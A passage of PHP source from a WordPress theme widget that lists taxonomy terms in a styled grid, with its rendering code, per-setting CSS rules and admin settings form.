				$wrapper_class .= ' penci-bgrid-msameh';
			}

			if ( isset( $settings['title_anivisi'] ) && $settings['title_anivisi'] ) {
				$wrapper_class .= ' pcbg-titles-visible';
			}

			if ( isset( $settings['apply_spe_bg_title'] ) && $settings['apply_spe_bg_title'] ) {
				$wrapper_class .= ' pcbg-mask-title';
			}

			if ( isset( $settings['apply_spe_bg_meta'] ) && $settings['apply_spe_bg_meta'] ) {
				$wrapper_class .= ' pcbg-mask-meta';
			}

			if ( in_array( $text_overlay_ani, array( 'movetop', 'movebottom', 'moveleft', 'moveright' ) ) ) {
				$wrapper_class .= ' textop';
			} else {
				$wrapper_class .= ' notextop';
			}

			if ( isset( $settings['hide_subtitle_mobile'] ) && $settings['hide_subtitle_mobile'] ) {
				$wrapper_class .= ' hide-msubtitle';
			}
			if ( isset( $settings['hide_readmore_mobile'] ) && $settings['hide_readmore_mobile'] ) {
				$wrapper_class .= ' hide-mreadmorebt';
			}
			if ( isset( $settings['ver_border'] ) && $settings['ver_border'] && 'style-1' == $biggid_style ) {
				$wrapper_class .= ' pcbg-verbd';
			}

			if ( empty( $settings['taxonomies'] ) ) {
				if ( current_user_can( 'manage_options' ) ) {
					echo '<p>' . __( 'Please select the taxonomy term in the widget settings.', 'soledad' ) . '</p>';
				}

				return;
			}


			$ars_terms = array(
				'taxonomy'     => isset( $settings['taxonomies'] ) ? $settings['taxonomies'] : '',
				'hide_empty'   => isset( $settings['hide_empty'] ) && $settings['hide_empty'] ? true : false,
				'orderby'      => isset( $settings['orderby'] ) && $settings['orderby'] ? $settings['orderby'] : 'name',
				'order'        => isset( $settings['order'] ) && $settings['order'] ? $settings['order'] : 'ASC',
				'hierarchical' => isset( $settings['hierarchical'] ) && $settings['hierarchical'] ? true : false,
				'number'       => 6,
			);

			$settings['term_name'] = $settings['taxonomies'];

			if ( isset ( $settings['taxonomies_ex'] ) && $settings['taxonomies_ex'] ) {
				$ars_terms['exclude'] = explode( ',', $settings['taxonomies_ex'] );
			}

			if ( isset ( $settings['number'] ) && $settings['number'] ) {
				$ars_terms['number'] = $settings['number'];
			}
			$big_items = penci_big_grid_is_big_items( $biggid_style );
			?>
            <div class="penci-clearfix penci-biggrid-terms-wrapper penci-biggrid-wrapper<?php echo $wrapper_class; ?>">

                <div class="penci-clearfix penci-biggrid penci-bg<?php echo $biggid_style; ?> penci-bgel">
                    <div class="penci-biggrid-inner default">
						<?php
						$bg = 1;

						$biggrid_items      = get_terms( $ars_terms );
						$num_posts          = count( $biggrid_items );
						$post_meta          = isset( $settings['bg_postmeta'] ) && $settings['bg_postmeta'] ? $settings['bg_postmeta'] : [];
						$hide_meta_small    = isset( $settings['hide_meta_small'] ) ? $settings['hide_meta_small'] : '';
						$hide_excerpt_small = isset( $settings['hide_excerpt_small'] ) ? $settings['hide_excerpt_small'] : '';
						$show_readmore      = isset( $settings['show_readmore'] ) ? $settings['show_readmore'] : '';
						if ( ! empty( $biggrid_items ) ) {
							echo '<div class="penci-clearfix penci-biggrid-data' . $data_class . '">';
							foreach ( $biggrid_items as $setting ) {
								$is_big_item         = '';
								$hide_cat_small_flag = $hide_meta_small_flag = $hide_rm_small_flag = $hide_excerpt_small_flag = false;
								$surplus             = penci_big_grid_count_classes( $bg, $biggid_style, true );
								$thumbnail           = $thumb_size;
								$post_count          = $setting->count;
								if ( ! empty( $big_items ) && in_array( $surplus, $big_items ) ) {
									$thumbnail   = $bthumb_size;
									$is_big_item = ' pcbg-big-item';
								}
								if ( penci_is_mobile() ) {
									$thumbnail = $mthumb_size;
								}

								if ( ! $is_big_item ) {
									if ( 'yes' == $hide_meta_small ) {
										$hide_meta_small_flag = true;
									}
									if ( 'yes' == $hide_excerpt_small ) {
										$hide_excerpt_small_flag = true;
									}
								}

								$image_url = get_default_term_thumb_url( $setting->term_id, $thumbnail );

								/* Get Custom Items Data */
								$item_id     = ' elementor-repeater-item-' . $setting->term_id;
								$image_ratio = penci_get_ratio_size_based_url( $image_url );

								$title      = $setting->name;
								$title_link = get_term_link( $setting->term_id );
								$title_attr = '';

								$desc = $setting->description;

								include dirname( __FILE__ ) . "/category.php";

								if ( $flag_style && $surplus == 0 && $bg < $num_posts ) {
									echo '</div><div class="penci-clearfix penci-biggrid-data' . $data_class . '">';
								}

								$bg ++;
							}
							echo '</div>';


						}
						?>
                    </div>
                </div>
            </div>
			<?php

			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );

			$css = '';

			$css_rules = [
				'bg_gap'              => array(
					'{{WRAPPER}} .penci-bgstyle-1 .penci-dflex'                                              => 'margin-left: calc(-{{SIZE}}px/2); margin-right: calc(-{{SIZE}}px/2); width: calc(100% + {{SIZE}}px);',
					'{{WRAPPER}} .penci-bgstyle-2 .item-masonry, {{WRAPPER}} .penci-bgstyle-1 .penci-bgitem' => 'padding-left: calc({{SIZE}}px/2); padding-right: calc({{SIZE}}px/2); margin-bottom: {{SIZE}}px',
					'{{WRAPPER}} .penci-bgstyle-2 .penci-biggrid-data'                                       => 'margin-left: calc(-{{SIZE}}px/2); margin-right: calc(-{{SIZE}}px/2);',
				),
				'bg_othergap'         => array(
					'{{WRAPPER}} .penci-biggrid' => '--pcgap: {{SIZE}}px;',
				),
				'penci_img_ratio'     => array(
					'{{WRAPPER}} .penci-bgitem .penci-image-holder:before' => 'padding-top: {{SIZE}}%;',
				),
				'imgradius'           => array(
					'{{WRAPPER}} .pcbg-thumb, {{WRAPPER}} .pcbg-bgoverlay, {{WRAPPER}} .penci-image-holder' => 'border-radius: {{SIZE}}px; -webkit-border-radius: {{SIZE}}px;',
				),
				'bg_height'           => array(
					'{{WRAPPER}} .penci-biggrid .penci-fixh' => '--bgh: {{SIZE}}px;',
				),
				'title_fsize'         => array( '{{WRAPPER}} .pcbg-content-inner .pcbg-title a,{{WRAPPER}} .pcbg-content-inner .pcbg-title' => 'font-size: {{SIZE}}px;' ),
				'bgtitle_color'       => array( '{{WRAPPER}} .pcbg-content-inner .pcbg-title a,{{WRAPPER}} .pcbg-content-inner .pcbg-title' => 'color: {{VALUE}};' ),
				'bgtitle_color_hover' => array( '{{WRAPPER}} .penci-bgmain:hover .pcbg-content-inner .pcbg-title a' => 'color: {{VALUE}};' ),
				'meta_fsize'          => array(
					'{{WRAPPER}} .pcbg-content-inner .pcbg-meta, {{WRAPPER}} .pcbg-content-inner .pcbg-meta span' => 'font-size: {{SIZE}}px;',
				),
				'bgdesc_color'        => array(
					'{{WRAPPER}} .pcbg-content-inner .pcbg-meta'      => 'color: {{VALUE}};',
					'{{WRAPPER}} .pcbg-content-inner .pcbg-meta span' => 'color: {{VALUE}};',
				),
				'bgdesc_link_color'   => array(
					'{{WRAPPER}} .pcbg-content-inner .pcbg-meta a'      => 'color: {{VALUE}};',
					'{{WRAPPER}} .pcbg-content-inner .pcbg-meta span a' => 'color: {{VALUE}};',
				),
				'bgdesc_link_hcolor'  => array(
					'{{WRAPPER}} .pcbg-content-inner .pcbg-meta a:hover'      => 'color: {{VALUE}};',
					'{{WRAPPER}} .pcbg-content-inner .pcbg-meta span a:hover' => 'color: {{VALUE}};',
				),
				'desc_fsize'          => array(
					'{{WRAPPER}} .pcbg-pexcerpt, {{WRAPPER}} .pcbg-pexcerpt a, {{WRAPPER}} .pcbg-pexcerpt p' => 'font-size: {{SIZE}}px;',
				),
				'excerpt_tcolor'      => array(
					'{{WRAPPER}} .pcbg-pexcerpt, {{WRAPPER}} .pcbg-pexcerpt a, {{WRAPPER}} .pcbg-pexcerpt p' => 'color: {{VALUE}};',
				)
			];

			foreach ( $css_rules as $op => $selectors ) {

				if ( isset( $instance[ $op ] ) && $instance[ $op ] ) {
					$value = $instance[ $op ];
					foreach ( $selectors as $selector => $prop ) {
						$selector = str_replace( '{{WRAPPER}}', '.' . $this->id, $selector );
						$prop     = str_replace( '{{SIZE}}', $value, $prop );
						$prop     = str_replace( '{{VALUE}}', $value, $prop );
						$css      .= $selector . '{ ' . $prop . ' }';
					}
				}

			}

			if ( $css ) {
				echo '<style id="' . $this->id . '-css">' . $css . '</style>';
			}
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			return array(
				'title'                       => esc_html__( 'Taxonomy Listing', 'soledad' ),
				'taxonomies'                  => '',
				'taxonomies_ex'               => '',
				'orderby'                     => 'name',
				'order'                       => 'ASC',
				'number'                      => 6,
				'hide_empty'                  => '',
				'hierarchical'                => '',
				'style'                       => '',
				'bg_columns'                  => '',
				'bg_columns_tablet'           => '',
				'bg_columns_mobile'           => '',
				'bg_postmeta'                 => [],
				'hide_meta_small'             => '',
				'hide_excerpt_small'          => '',
				'hide_subtitle_mobile'        => '',
				'show_readmore'               => '',
				'hide_readmore_mobile'        => '',
				'onecol_mobile'               => '',
				'sameh_mobile'                => '',
				'title_length'                => '',
				'bgcontent_pos'               => 'on',
				'bg_gap'                      => '',
				'bg_othergap'                 => '',
				'penci_img_ratio'             => '',
				'imgradius'                   => '',
				'bg_height'                   => '',
				'content_horizontal_position' => '',
				'content_vertical_position'   => '',
				'content_text_align'          => '',
				'bgtitle_color'               => '',
				'bgtitle_color_hover'         => '',
				'bgdesc_color'                => '',
				'bgdesc_link_color'           => '',
				'bgdesc_link_hcolor'          => '',
				'excerpt_tcolor'              => '',
				'text_overlay'                => 'none',
				'text_overlay_ani'            => 'movetop',
				'image_hover'                 => 'zoom-in',
				'title_fsize'                 => '',
				'meta_fsize'                  => '',
				'desc_fsize'                  => '',
			);
		}

		function prs_select_field( $options, $current ) {
			foreach ( $options as $name => $label ) {
				echo '<option ' . selected( $name, $current ) . ' value="' . esc_attr( $name ) . '">' . esc_html( $label ) . '</option>';
			}
		}

		function color_field( $id, $label, $instance ) {
			?>
            <p>
                <label for="<?php echo $this->get_field_id( $id ); ?>"
                       style="display:block;"><?php echo $label; ?></label>
                <input class="widefat pcwoo-color-picker color-picker"
                       id="<?php echo $this->get_field_id( $id ); ?>"
                       name="<?php echo $this->get_field_name( $id ); ?>" type="text"
                       value="<?php echo $instance[ $id ]; ?>"/>
            </p>
			<?php
		}

		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults                    = $this->soledad_widget_defaults();
			$instance                    = wp_parse_args( (array) $instance, $defaults );
			$title                       = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			$taxonomies                  = isset( $instance['taxonomies'] ) ? $instance['taxonomies'] : '';
			$orderby                     = isset( $instance['orderby'] ) ? $instance['orderby'] : '';
			$order                       = isset( $instance['order'] ) ? $instance['order'] : '';
			$style                       = isset( $instance['style'] ) ? $instance['style'] : '';
			$bg_columns                  = isset( $instance['bg_columns'] ) ? $instance['bg_columns'] : '';
			$bg_columns_tablet           = isset( $instance['bg_columns_tablet'] ) ? $instance['bg_columns_tablet'] : '';
			$bg_columns_mobile           = isset( $instance['bg_columns_mobile'] ) ? $instance['bg_columns_mobile'] : '';
			$bg_postmeta                 = isset( $instance['bg_postmeta'] ) ? (array) $instance['bg_postmeta'] : [];
			$bgcontent_pos               = isset( $instance['bgcontent_pos'] ) ? $instance['bgcontent_pos'] : 'on';
			$content_horizontal_position = isset( $instance['content_horizontal_position'] ) ? $instance['content_horizontal_position'] : '';
			$content_vertical_position   = isset( $instance['content_vertical_position'] ) ? $instance['content_vertical_position'] : '';
			$content_text_align          = isset( $instance['content_text_align'] ) ? $instance['content_text_align'] : '';
			$text_overlay                = isset( $instance['text_overlay'] ) ? $instance['text_overlay'] : 'none';
			$text_overlay_ani            = isset( $instance['text_overlay_ani'] ) ? $instance['text_overlay_ani'] : 'movetop';
			$image_hover                 = isset( $instance['image_hover'] ) ? $instance['image_hover'] : 'zoom-in';

			$post_taxonomies = get_object_taxonomies( 'post' );
			$post_tax        = [];
			$post_tax['']    = 'Select';
			foreach ( $post_taxonomies as $tname ) {
				$labels             = get_taxonomy( $tname );
				$post_tax[ $tname ] = $labels->label;
			}

			foreach ( penci_get_published_posttypes() as $type ) {

				$type_data = get_object_taxonomies( $type );
				if ( is_array( $type_data ) ) {
					foreach ( $type_data as $type_name ) {
						$labels                 = get_taxonomy( $type_name );
						$post_tax[ $type_name ] = $labels->label;
					}
				}
			}

			$post_order_by = [
				'name'       => 'Name',
				'slug'       => 'Slug',
				'term_id'    => 'ID',
				'term_order' => 'Term Order',
				'count'      => 'Posts Count',
			];

			$post_order = [
				'ASC'  => 'ASC',
				'DESC' => 'DESC',
			];

			$post_style = array(
				'style-1'  => esc_html__( 'Grid ( Default )', 'soledad' ),
				'style-2'  => esc_html__( 'Masonry', 'soledad' ),
				'style-3'  => esc_html__( 'Style 3', 'soledad' ),
				'style-4'  => esc_html__( 'Style 4', 'soledad' ),
				'style-5'  => esc_html__( 'Style 5', 'soledad' ),
				'style-6'  => esc_html__( 'Style 6', 'soledad' ),
				'style-7'  => esc_html__( 'Style 7', 'soledad' ),
				'style-8'  => esc_html__( 'Style 8', 'soledad' ),
				'style-9'  => esc_html__( 'Style 9', 'soledad' ),
				'style-10' => esc_html__( 'Style 10', 'soledad' ),
				'style-11' => esc_html__( 'Style 11', 'soledad' ),
				'style-12' => esc_html__( 'Style 12', 'soledad' ),
				'style-13' => esc_html__( 'Style 13', 'soledad' ),
				'style-14' => esc_html__( 'Style 14', 'soledad' ),
				'style-15' => esc_html__( 'Style 15', 'soledad' ),
				'style-16' => esc_html__( 'Style 16', 'soledad' ),
				'style-17' => esc_html__( 'Style 17', 'soledad' ),
				'style-18' => esc_html__( 'Style 18', 'soledad' ),
				'style-19' => esc_html__( 'Style 19', 'soledad' ),
				'style-20' => esc_html__( 'Style 20', 'soledad' ),
				'style-21' => esc_html__( 'Style 21', 'soledad' ),
				'style-22' => esc_html__( 'Style 22', 'soledad' ),
			);
			?>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo $title; ?>"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'taxonomies' ) ); ?>"><?php esc_html_e( 'Taxonomies', 'soledad' ) ?></label>
                <select style="width:100%;" id="<?php echo esc_attr( $this->get_field_id( 'taxonomies' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'taxonomies' ) ); ?>">
					<?php foreach ( $post_tax as $name => $label ) {
						echo '<option ' . selected( $name, $taxonomies ) . ' value="' . esc_attr( $name ) . '">' . esc_html( $label ) . '</option>';
					} ?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'taxonomies_ex' ) ); ?>"><?php esc_html_e( 'Excluded Taxonomies Terms IDs:', 'soledad' ); ?></label>
                <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'taxonomies_ex' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'taxonomies_ex' ) ); ?>"
                       value="<?php echo sanitize_text_field( $instance['taxonomies_ex'] ); ?>"/>
            <p><?php _e( 'Enter the list of term IDs you need to exclude, separated by commas.', 'soledad' ); ?></p>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'orderby' ) ); ?>"><?php esc_html_e( 'Order By', 'soledad' ) ?></label>
                <select style="width:100%;" id="<?php echo esc_attr( $this->get_field_id( 'orderby' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'orderby' ) ); ?>">
					<?php foreach ( $post_order_by as $name => $label ) {
						echo '<option ' . selected( $name, $orderby ) . ' value="' . esc_attr( $name ) . '">' . esc_html( $label ) . '</option>';
					} ?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'order' ) ); ?>"><?php esc_html_e( 'Order', 'soledad' ) ?></label>
                <select style="width:100%;" id="<?php echo esc_attr( $this->get_field_id( 'order' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'order' ) ); ?>">
					<?php $this->prs_select_field( $post_order, $order ); ?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"><?php esc_html_e( 'Limit Terms to Show:', 'soledad' ); ?></label>
                <input type="number" style="width: 65px; display: inline-block;"
                       id="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'number' ) ); ?>"
                       value="<?php echo esc_attr( $instance['number'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'hide_empty' ) ); ?>"><?php esc_html_e( 'Hide Empty Items:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'hide_empty' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'hide_empty' ) ); ?>" <?php checked( (bool) $instance['hide_empty'], true ); ?> /><br/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'hierarchical' ) ); ?>"><?php esc_html_e( 'Hierarchical:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'hierarchical' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'hierarchical' ) ); ?>" <?php checked( (bool) $instance['hierarchical'], true ); ?> /><br/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'style' ) ); ?>"><?php esc_html_e( 'Display Style', 'soledad' ) ?></label>
                <select style="width:100%;" id="<?php echo esc_attr( $this->get_field_id( 'style' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'style' ) ); ?>">
					<?php $this->prs_select_field( $post_style, $style ); ?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'bg_columns' ) ); ?>"><?php esc_html_e( 'Grid/Masonry Style Columns', 'soledad' ) ?></label>
                <select style="width:100%;" id="<?php echo esc_attr( $this->get_field_id( 'bg_columns' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'bg_columns' ) ); ?>">
					<?php
					$post_col = array(
						'1' => esc_html__( '1 Column', 'soledad' ),
						'2' => esc_html__( '2 Columns', 'soledad' ),
						'3' => esc_html__( '3 Columns', 'soledad' ),
						'4' => esc_html__( '4 Columns', 'soledad' ),
						'5' => esc_html__( '5 Columns', 'soledad' ),
						'6' => esc_html__( '6 Columns', 'soledad' )
					);
					$this->prs_select_field( $post_col, $bg_columns );
					?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'bg_columns_tablet' ) ); ?>"><?php esc_html_e( 'Grid/Masonry Style Columns on Tablet', 'soledad' ) ?></label>
                <select style="width:100%;" id="<?php echo esc_attr( $this->get_field_id( 'bg_columns_tablet' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'bg_columns_tablet' ) ); ?>">
					<?php
					$post_col_m = array(
						''  => esc_html__( 'Default', 'soledad' ),
						'1' => esc_html__( '1 Column', 'soledad' ),
						'2' => esc_html__( '2 Columns', 'soledad' ),
						'3' => esc_html__( '3 Columns', 'soledad' ),
						'4' => esc_html__( '4 Columns', 'soledad' ),
					);
					$this->prs_select_field( $post_col_m, $bg_columns_tablet );
					?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'bg_columns_mobile' ) ); ?>"><?php esc_html_e( 'Grid/Masonry Style Columns on Mobile', 'soledad' ) ?></label>
                <select style="width:100%;" id="<?php echo esc_attr( $this->get_field_id( 'bg_columns_mobile' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'bg_columns_mobile' ) ); ?>">
					<?php
					$post_col_mb = array(
						'1' => esc_html__( '1 Column', 'soledad' ),
						'2' => esc_html__( '2 Columns', 'soledad' ),
						'3' => esc_html__( '3 Columns', 'soledad' ),
					);
					$this->prs_select_field( $post_col_mb, $bg_columns_mobile );
					?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'bg_postmeta' ) ); ?>"><?php esc_html_e( 'Showing Term Data', 'soledad' ) ?></label>
                <select multiple style="width:100%;"
                        id="<?php echo esc_attr( $this->get_field_id( 'bg_postmeta' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'bg_postmeta' ) ); ?>[]">
					<?php
					$post_meta = array(
						'name'  => esc_html__( 'Name', 'soledad' ),
						'desc'  => esc_html__( 'Description', 'soledad' ),
						'count' => esc_html__( 'Posts Count', 'soledad' ),
					);
					foreach ( $post_meta as $name => $label ) {
						$selected = in_array( $name, $bg_postmeta ) ? 'selected' : '';
						echo '<option ' . $selected . ' value="' . esc_attr( $name ) . '">' . esc_html( $label ) . '</option>';
					} ?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'hide_meta_small' ) ); ?>"><?php esc_html_e( 'Hide Term Meta on Small Grid Items:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'hide_meta_small' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'hide_meta_small' ) ); ?>" <?php checked( (bool) $instance['hide_meta_small'], true ); ?> /><br/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'hide_excerpt_small' ) ); ?>"><?php esc_html_e( 'Hide Only Post Excerpt on Small Grid Items:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'hide_excerpt_small' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'hide_excerpt_small' ) ); ?>" <?php checked( (bool) $instance['hide_excerpt_small'], true ); ?> /><br/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'hide_subtitle_mobile' ) ); ?>"><?php esc_html_e( 'Hide Terms Description on Mobiles:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'hide_subtitle_mobile' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'hide_subtitle_mobile' ) ); ?>" <?php checked( (bool) $instance['hide_subtitle_mobile'], true ); ?> /><br/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'show_readmore' ) ); ?>"><?php esc_html_e( 'Show View All Posts Button:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'show_readmore' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'show_readmore' ) ); ?>" <?php checked( (bool) $instance['show_readmore'], true ); ?> /><br/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'hide_readmore_mobile' ) ); ?>"><?php esc_html_e( 'Hide View All Posts on Mobile:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'hide_readmore_mobile' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'hide_readmore_mobile' ) ); ?>" <?php checked( (bool) $instance['hide_readmore_mobile'], true ); ?> /><br/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'onecol_mobile' ) ); ?>"><?php esc_html_e( 'Display One Column on Mobile?', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'onecol_mobile' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'onecol_mobile' ) ); ?>" <?php checked( (bool) $instance['onecol_mobile'], true ); ?> /><br/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'sameh_mobile' ) ); ?>"><?php esc_html_e( 'Display Grid Items Same Height on Mobile?', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'sameh_mobile' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'sameh_mobile' ) ); ?>" <?php checked( (bool) $instance['sameh_mobile'], true ); ?> /><br/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title_length' ) ); ?>"><?php esc_html_e( 'Custom Words Length for Term Name:', 'soledad' ); ?></label>
                <input type="number" style="width: 65px; display: inline-block;"
                       id="<?php echo esc_attr( $this->get_field_id( 'title_length' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title_length' ) ); ?>"
                       value="<?php echo esc_attr( $instance['title_length'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'bgcontent_pos' ) ); ?>"><?php esc_html_e( 'Content Position', 'soledad' ) ?></label>
                <select style="width:100%;"
                        id="<?php echo esc_attr( $this->get_field_id( 'bgcontent_pos' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'bgcontent_pos' ) ); ?>">
					<?php
					$bgcontent_pos_option = array(
						'on'    => esc_html__( 'On Image', 'soledad' ),
						'below' => esc_html__( 'Below Image', 'soledad' ),
						'above' => esc_html__( 'Above Image', 'soledad' ),
					);
					$this->prs_select_field( $bgcontent_pos_option, $bgcontent_pos );
					?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'bg_gap' ) ); ?>"><?php esc_html_e( 'Gap Between Grid & Mansonry Items:', 'soledad' ); ?></label>
                <input type="number" style="width: 65px; display: inline-block;"
                       id="<?php echo esc_attr( $this->get_field_id( 'bg_gap' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'bg_gap' ) ); ?>"
                       value="<?php echo esc_attr( $instance['bg_gap'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'bg_othergap' ) ); ?>"><?php esc_html_e( 'Gap Between Items:', 'soledad' ); ?></label>
                <input type="number" style="width: 65px; display: inline-block;"
                       id="<?php echo esc_attr( $this->get_field_id( 'bg_othergap' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'bg_othergap' ) ); ?>"
                       value="<?php echo esc_attr( $instance['bg_othergap'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'penci_img_ratio' ) ); ?>"><?php esc_html_e( 'Adjust Ratio of Images( Unit % ):', 'soledad' ); ?></label>
                <input type="number" style="width: 65px; display: inline-block;"
                       id="<?php echo esc_attr( $this->get_field_id( 'penci_img_ratio' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'penci_img_ratio' ) ); ?>"
                       value="<?php echo esc_attr( $instance['penci_img_ratio'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'imgradius' ) ); ?>"><?php esc_html_e( 'Custom Border Radius for Images', 'soledad' ); ?></label>
                <input type="number" style="width: 65px; display: inline-block;"
                       id="<?php echo esc_attr( $this->get_field_id( 'imgradius' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'imgradius' ) ); ?>"
                       value="<?php echo esc_attr( $instance['imgradius'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'bg_height' ) ); ?>"><?php esc_html_e( 'Custom Item Height (Unit is px)', 'soledad' ); ?></label>
                <input type="number" style="width: 65px; display: inline-block;"
                       id="<?php echo esc_attr( $this->get_field_id( 'bg_height' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'bg_height' ) ); ?>"
                       value="<?php echo esc_attr( $instance['bg_height'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'content_horizontal_position' ) ); ?>"><?php esc_html_e( 'Content Position', 'soledad' ) ?></label>
                <select style="width:100%;"
                        id="<?php echo esc_attr( $this->get_field_id( 'content_horizontal_position' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'content_horizontal_position' ) ); ?>">
					<?php
					$content_horizontal_position_o = array(
						'left'   => esc_html__( 'Left', 'soledad' ),
						'right'  => esc_html__( 'Right', 'soledad' ),
						'center' => esc_html__( 'Center', 'soledad' ),
					);
					$this->prs_select_field( $content_horizontal_position_o, $content_horizontal_position );
					?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'content_vertical_position' ) ); ?>"><?php esc_html_e( 'Content Text Vertical Position', 'soledad' ) ?></label>
                <select style="width:100%;"
                        id="<?php echo esc_attr( $this->get_field_id( 'content_vertical_position' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'content_vertical_position' ) ); ?>">
					<?php
					$content_vertical_position_o = array(
						'top'    => esc_html__( 'Top', 'soledad' ),
						'middle' => esc_html__( 'Middle', 'soledad' ),
						'bottom' => esc_html__( 'Bottom', 'soledad' ),
					);
					$this->prs_select_field( $content_vertical_position_o, $content_vertical_position );
					?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'content_text_align' ) ); ?>"><?php esc_html_e( 'Content Text Align', 'soledad' ) ?></label>
                <select style="width:100%;"
                        id="<?php echo esc_attr( $this->get_field_id( 'content_text_align' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'content_text_align' ) ); ?>">
					<?php
					$content_text_align_o = array(
						'left'   => esc_html__( 'Left', 'soledad' ),
						'right'  => esc_html__( 'Right', 'soledad' ),
						'center' => esc_html__( 'Center', 'soledad' ),
					);
					$this->prs_select_field( $content_text_align_o, $content_text_align );
					?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'image_hover' ) ); ?>"><?php esc_html_e( 'Image Hover Effect', 'soledad' ) ?></label>
                <select style="width:100%;"
